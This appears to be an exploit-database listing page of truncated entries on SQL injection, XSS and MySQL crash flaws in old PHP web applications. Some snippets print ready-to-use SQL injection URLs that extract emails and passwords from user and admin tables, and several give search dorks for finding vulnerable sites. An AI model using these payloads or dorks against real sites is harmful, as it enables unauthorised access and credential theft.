WSN Links - SQL Injection

'WSN Links' SQL Injection Vulnerability CVE-2010-4006 Mark Stanislav - [email protected] I. DESCRIPTION --------------------------------------- A vulnerability exists in the search.php code that allows for SQL injection of various parameters. By assembling portions of SQL code between the...

MySQL: CREATE TABLE ... SELECT causes crash when KILL_BAD_DATA is returned (MySQL Bug#55826)

MySQL 5.0 before 5.0.92, 5.1 before 5.1.51, and 5.5 before 5.5.6 does not properly propagate type errors, which allows remote attackers to cause a denial of service server crash via crafted arguments to extreme-value functions such as 1 LEAST and 2 GREATEST, related to KILLBADDATA and a "CREATE...

PT-2011-1435

Name of the Vulnerable Software and Affected Versions MySQL versions 5.0 before 5.0.92 MySQL versions 5.1 before 5.1.51 MySQL versions 5.5 before 5.5.6 Description The issue allows remote attackers to cause a denial of service, resulting in a server crash, by providing crafted arguments to...

Webspell 4.X safe_query Bypass Vulnerability

Exploit for php platform in category web applications ============================================ Webspell 4.X safequery Bypass Vulnerability ============================================ INFORMATION +Name : Webspell 4.X safequery bypass Vulnerability +Author : silent vapor +Date : 29.09.2010...

Webspell 4.x - safe_query Bypass

INFORMATION +Name : Webspell 4.X safequery bypass Vulnerability +Author : silent vapor +Date : 29.09.2010 +Script : webspell +Price : free +Language :PHP +Discovered by silent vapor +Underground Agents +Greetz to Team-Internet, 4004-Security-Project, Easy Laster +Vulnerability :...

Joomla Component com_taxes SQL Injection Vulnerability

Exploit for php platform in category web applications ====================================================== Joomla Component comtaxes SQL Injection Vulnerability ====================================================== ========================================================================== x...

CVE-2009-4982: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in the select function in Irokez CMS 0.7.1, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the PATHINFO to the default URI...

Joomla! Component com_yellowpages - SQL Injection

Joomla! Component comyellowpages - SQL Injection =============================================================== Joomla Component comyellowpages SQL Injection Vulnerability =============================================================== Exploit Title : Joomla "comyellowpages" Sql Injection...

sX-Shop Multiple SQL Injection Vulnerability

Exploit for php platform in category web applications =================================== sX-Shop SQL Injection Vulnerability =================================== Author : CoBRa21 Author Web Page :http://ipbul.org Dork : "powered by sX-Shop" Script Page : http://www.source-worx.de/ Demo :...

PT-2010-4293 · Zabbix · Zabbix

Name of the Vulnerable Software and Affected Versions: Zabbix versions prior to 1.8.3rc1 Description: The issue concerns multiple cross-site scripting XSS vulnerabilities in the formatQuery function. These vulnerabilities allow remote attackers to inject arbitrary web script or HTML via specific...

eSmart-Vision Trading SQL Injection

eSmart-Vision Trading Multiple SQL Injection Exploit http://www.esmart-vision.com/application.htm By cr4wl3r inj3ct0r team PoC: http://www.target.com/newsdetail.php?id=-9999 UniOn aLL SeLeCt 1,ConCatEmail,0x3a,Password,3,4,5,6,7 fRoM userinfo-- http://www.target.com/proddetails.php?id=-9999 UniOn...

PHP5.2.6 (content.phpid) SQL Injection Vulnerability

Exploit for php platform in category web applications ==================================================== PHP5.2.6 content.phpid SQL Injection Vulnerability ==================================================== Author : Amine92 home : http://vbhacker.net/ Dork : "Powered by PHP/5.2.6" Download Pa...

Joomla Beamospetition SQL Injection

Exploit Title : Joomla "combeamospetition" Sql Injection Vulnerability Date : 29 - 7 - 2010 Author : Forza-Dz Vendor : http://code.joomla.org/gf/project/beamospetition/frs/ Version : All Versions Tested on : Win Sp2 and Mc Dork = inurl:"combeamospetition" --- SQL Injection Vulenrability --- SQL...

Joomla! Component com_beamospetition - SQL Injection

Joomla! Component combeamospetition - SQL Injection Exploit Title : Joomla "combeamospetition" Sql Injection Vulnerability Date : 29 - 7 - 2010 Author : Forza-Dz Vendor : http://code.joomla.org/gf/project/beamospetition/frs/ Version : All Versions Tested on : Win Sp2 and Mc Dork =...

sNews SQL Injection

Exploit Title:sNews index.php SQL Injection Vulnerability Date: 2010-07-24 Author: MajoR Software Link: http://snews.awddesign.co.uk Version: N/A Tested on: Wnidows xp SP2 CVE : N/A ====================================================sNews index.php SQL Injection Vulnerability...

sNews (index.php) SQL Injection Vulnerability

Exploit for php platform in category web applications ============================================= sNews index.php SQL Injection Vulnerability ============================================= Author: MajoR Software Link: http://snews.awddesign.co.uk Version: N/A Tested on: Wnidows xp SP2 CVE : N/A...

Joomla! Component YouTube 1.5 - SQL Injection

Exploit Title: Joomla "comyoutube" Sql Injection Vulnerability Date: 2010-07-24 Author: Forza-Dz Software Link: http://extensions.joomla.org/extensions/multimedia/ multimedia-channels/video-channels/12037 Version: 1.5 Tested on: windows-xp-sp2-fr : windows-xp-sp3-fr...

sNews 1.7 - 'index.php?category' SQL Injection

sNews v1.7 index.php?category SQL Injection Vulnerability Author : CoBRa21 Author Web Page : http://www.ipbul.org Dork: "Powered by sNews" Sql Injection: http://localhost/path/index.php?category=-3 union select 0,version,2,3,4,5,6,7,8 Thanks http://e-banka.org & http://www.cyber-warrior.org...

Joomla! Component com_iproperty - SQL Injection

==================================================== Joomla Component comiproperty SQL Injection Vulnerability ==================================================== Author : Amine92 Email : [email protected] Homepage : www.vbhacker.net/vb DORK : inurl:"index.php?option=comiproperty"...

shopxp pinglun. asp page injection vulnerability-vulnerability warning-the black bar safety net

shopxp pinglun. asp page injection vulnerability Injecting the subject of the sentence exp 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from shopxpadmin...